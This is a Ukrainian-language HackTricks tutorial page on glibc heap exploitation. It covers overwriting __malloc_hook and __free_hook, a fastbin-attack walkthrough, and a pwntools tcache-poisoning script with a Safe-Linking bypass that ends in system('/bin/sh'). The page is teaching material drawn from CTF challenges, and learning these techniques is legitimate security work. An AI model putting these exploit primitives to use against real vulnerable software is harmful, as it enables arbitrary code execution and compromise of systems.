WWW2Exec - __malloc_hook & __free_hook

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Malloc Hook

Як ви можете побачити на Офіційному сайті GNU, змінна __malloc_hook є вказівником, що вказує на адресу функції, яка буде викликана щоразу, коли викликається malloc(), збережену в секції даних бібліотеки libc. Тому, якщо ця адреса буде перезаписана, наприклад, One Gadget, і буде викликано malloc, то буде викликано One Gadget.

Щоб викликати malloc, можна дочекатися, поки програма викличе його, або **викликавши printf("%10000$c")**, що виділяє занадто багато байтів, змушуючи libc` викликати malloc для їх виділення в купі.

Більше інформації про One Gadget в:

{{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}}

warning

Зверніть увагу, що хуки вимкнені для GLIBC >= 2.34. Є інші техніки, які можна використовувати в сучасних версіях GLIBC. Дивіться: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.

Free Hook

Це було зловжито в одному з прикладів на сторінці, зловживаючи атакою швидкого біну після зловживання атакою неупорядкованого біну:

{{#ref}} ../libc-heap/unsorted-bin-attack.md {{#endref}}

Можливо знайти адресу __free_hook, якщо бінарний файл має символи, використовуючи наступну команду:

bash
gef➤  p &__free_hook

У пості ви можете знайти покрокову інструкцію про те, як знайти адресу free hook без символів. У підсумку, у функції free:

gef➤  x/20i free
0xf75dedc0 : push   ebx
0xf75dedc1 : call   0xf768f625
0xf75dedc6 : add    ebx,0x14323a
0xf75dedcc :  sub    esp,0x8
0xf75dedcf :  mov    eax,DWORD PTR [ebx-0x98]
0xf75dedd5 :  mov    ecx,DWORD PTR [esp+0x10]
0xf75dedd9 :  mov    eax,DWORD PTR [eax]--- BREAK HERE
0xf75deddb :  test   eax,eax ;<
0xf75deddd :  jne    0xf75dee50 

У зазначеному місці зупинки в попередньому коді в $eax буде знаходитися адреса free hook.

Тепер виконується атака на швидкі контейнери:

  • По-перше, виявлено, що можливо працювати з швидкими контейнерами розміром 200 у місці __free_hook:
  • gef➤  p &__free_hook
    

$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000

  • Якщо нам вдасться отримати швидкий контейнер розміром 0x200 у цьому місці, буде можливим перезаписати вказівник функції, яка буде виконана.
  • Для цього створюється новий контейнер розміром 0xfc, і об'єднана функція викликається з цим вказівником двічі, таким чином ми отримуємо вказівник на звільнений контейнер розміром 0xfc*2 = 0x1f8 у швидкому контейнері.
  • Потім викликається функція редагування в цьому контейнері, щоб змінити адресу fd цього швидкого контейнера, щоб вона вказувала на попередню функцію __free_hook.
  • Потім створюється контейнер розміром 0x1f8, щоб отримати з швидкого контейнера попередній непотрібний контейнер, тому створюється ще один контейнер розміром 0x1f8, щоб отримати швидкий контейнер у __free_hook, який перезаписується адресою функції system.
  • І нарешті, контейнер, що містить рядок /bin/sh\x00, звільняється, викликаючи функцію видалення, що викликає функцію __free_hook, яка вказує на system з /bin/sh\x00 як параметром.

Отруєння Tcache & Safe-Linking (glibc 2.32 – 2.33)

glibc 2.32 представив Safe-Linking – перевірку цілісності, яка захищає одинарні зв'язані списки, що використовуються tcache та швидкими контейнерами. Замість того, щоб зберігати сирий прямий вказівник (fd), ptmalloc тепер зберігає його обфускованим за допомогою наступного макросу:

c
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr)       PROTECT_PTR(&ptr, ptr)

Наслідки для експлуатації:

  1. heap leak є обов'язковим – зловмисник повинен знати значення chunk_addr >> 12 під час виконання, щоб створити дійсний обфусцований вказівник.
  2. Можна підробити лише повний 8-байтовий вказівник; часткові перезаписи одного байта не пройдуть перевірку.

Мінімальний примітив отруєння tcache, який перезаписує __free_hook на glibc 2.32/2.33, виглядає так:

py
from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p    = process("./vuln")

# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak   = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base   = heap_leak & ~0xfff
fd_key      = heap_base >> 12  # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")

# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a)           # tcache double-free ⇒ poisoning primitive

# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison    = free_hook ^ fd_key
edit(a, p64(poison))  # overwrite fd of tcache entry

# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48)           # returns chunk a
c = malloc(0x48)       # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))

# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)

Фрагмент вище був адаптований з недавніх CTF викликів, таких як UIUCTF 2024 – «Rusty Pointers» та openECSC 2023 – «Babyheap G», обидва з яких покладалися на обходи Safe-Linking для перезапису __free_hook.


Що змінилося в glibc ≥ 2.34?

Починаючи з glibc 2.34 (серпень 2021), хуки виділення пам'яті __malloc_hook, __realloc_hook, __memalign_hook та __free_hook були видалені з публічного API і більше не викликаються аллокатором. Символи сумісності все ще експортуються для застарілих бінарних файлів, але їх перезапис більше не впливає на контрольний потік malloc() або free().

Практичне значення: на сучасних дистрибутивах (Ubuntu 22.04+, Fedora 35+, Debian 12 тощо) ви повинні перейти на інші примітиви захоплення (IO-FILE, __run_exit_handlers, розпилення vtable тощо), оскільки перезаписи хуків будуть тихо зазнавати невдачі.

Якщо вам все ще потрібна стара поведінка для налагодження, glibc постачає libc_malloc_debug.so, який можна попередньо завантажити, щоб повторно активувати застарілі хуки – але бібліотека не призначена для виробництва і може зникнути в майбутніх випусках.


Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks